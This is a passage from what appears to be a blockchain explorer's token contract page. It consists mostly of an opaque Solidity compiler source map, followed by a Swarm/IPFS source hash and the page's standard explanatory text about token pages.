:3;:7::i;:::-;2614:2;2593:32;;2602:10;2593:32;;;2618:6;2593:32;;;;;;:::i;:::-;;;;;;;;2642:4;2635:11;;2380:273;;;;:::o;1383:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3331:321::-;3441:7;3531:4;3507:31;;3486:9;:13;3496:2;;;;;;;;;;;3486:13;;;;;;;;;;;;;;;:17;3500:2;3486:17;;;;;;;;;;;;;;;;3464:9;:13;3474:2;;;;;;;;;;;3464:13;;;;;;;;;;;;;;;:19;3478:4;3464:19;;;;;;;;;;;;;;;;:39;;;;:::i;:::-;:74;3460:186;;3582:10;3570:8;3562:5;:16;;;;:::i;:::-;3561:31;;;;:::i;:::-;3554:38;;;;3460:186;3630:5;3623:12;;3331:321;;;;;;:::o;3658:156::-;3743:2;;;;;;;;;;;3727:20;;3706:9;:13;3716:2;;;;;;;;;;;3706:13;;;;;;;;;;;;;;;:17;3720:2;3706:17;;;;;;;;;;;;;;;;:41;3702:106;;3799:4;3775:31;;3771:1;:35;;;;:::i;:::-;3751:9;:13;3761:2;;;;;;;;;;;3751:13;;;;;;;;;;;;;;;:17;3765:2;3751:17;;;;;;;;;;;;;;;:55;;;;3702:106;3658:156;:::o;4204:196::-;4295:6;4276:9;:15;4286:4;4276:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;4337:6;4322:11;;:21;;;;;;;;;;;4382:1;4359:34;;4368:4;4359:34;;;4386:6;4359:34;;;;;;:::i;:::-;;;;;;;;4204:196;;:::o;7:99:2:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:::-;5247:6;5296:2;5284:9;5275:7;5271:23;5267:32;5264:119;;;5302:79;;:::i;:::-;5264:119;5422:1;5447:53;5492:7;5483:6;5472:9;5468:22;5447:53;:::i;:::-;5437:63;;5393:117;5188:329;;;;:::o;5523:474::-;5591:6;5599;5648:2;5636:9;5627:7;5623:23;5619:32;5616:119;;;5654:79;;:::i;:::-;5616:119;5774:1;5799:53;5844:7;5835:6;5824:9;5820:22;5799:53;:::i;:::-;5789:63;;5745:117;5901:2;5927:53;5972:7;5963:6;5952:9;5948:22;5927:53;:::i;:::-;5917:63;;5872:118;5523:474;;;;;:::o;6003:180::-;6051:77;6048:1;6041:88;6148:4;6145:1;6138:15;6172:4;6169:1;6162:15;6189:320;6233:6;6270:1;6264:4;6260:12;6250:22;;6317:1;6311:4;6307:12;6338:18;6328:81;;6394:4;6386:6;6382:17;6372:27;;6328:81;6456:2;6448:6;6445:14;6425:18;6422:38;6419:84;;6475:18;;:::i;:::-;6419:84;6240:269;6189:320;;;:::o;6515:180::-;6563:77;6560:1;6553:88;6660:4;6657:1;6650:15;6684:4;6681:1;6674:15;6701:194;6741:4;6761:20;6779:1;6761:20;:::i;:::-;6756:25;;6795:20;6813:1;6795:20;:::i;:::-;6790:25;;6839:1;6836;6832:9;6824:17;;6863:1;6857:4;6854:11;6851:37;;;6868:18;;:::i;:::-;6851:37;6701:194;;;;:::o;6901:410::-;6941:7;6964:20;6982:1;6964:20;:::i;:::-;6959:25;;6998:20;7016:1;6998:20;:::i;:::-;6993:25;;7053:1;7050;7046:9;7075:30;7093:11;7075:30;:::i;:::-;7064:41;;7254:1;7245:7;7241:15;7238:1;7235:22;7215:1;7208:9;7188:83;7165:139;;7284:18;;:::i;:::-;7165:139;6949:362;6901:410;;;;:::o;7317:191::-;7357:3;7376:20;7394:1;7376:20;:::i;:::-;7371:25;;7410:20;7428:1;7410:20;:::i;:::-;7405:25;;7453:1;7450;7446:9;7439:16;;7474:3;7471:1;7468:10;7465:36;;;7481:18;;:::i;:::-;7465:36;7317:191;;;;:::o;7514:180::-;7562:77;7559:1;7552:88;7659:4;7656:1;7649:15;7683:4;7680:1;7673:15;7700:185;7740:1;7757:20;7775:1;7757:20;:::i;:::-;7752:25;;7791:20;7809:1;7791:20;:::i;:::-;7786:25;;7830:1;7820:35;;7835:18;;:::i;:::-;7820:35;7877:1;7874;7870:9;7865:14;;7700:185;;;;:::o
Swarm Source
ipfs://ad0b4a9d898ee1e0992b46e635407d7baf4d20d09d9e2eb0de1625147562c7fa
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.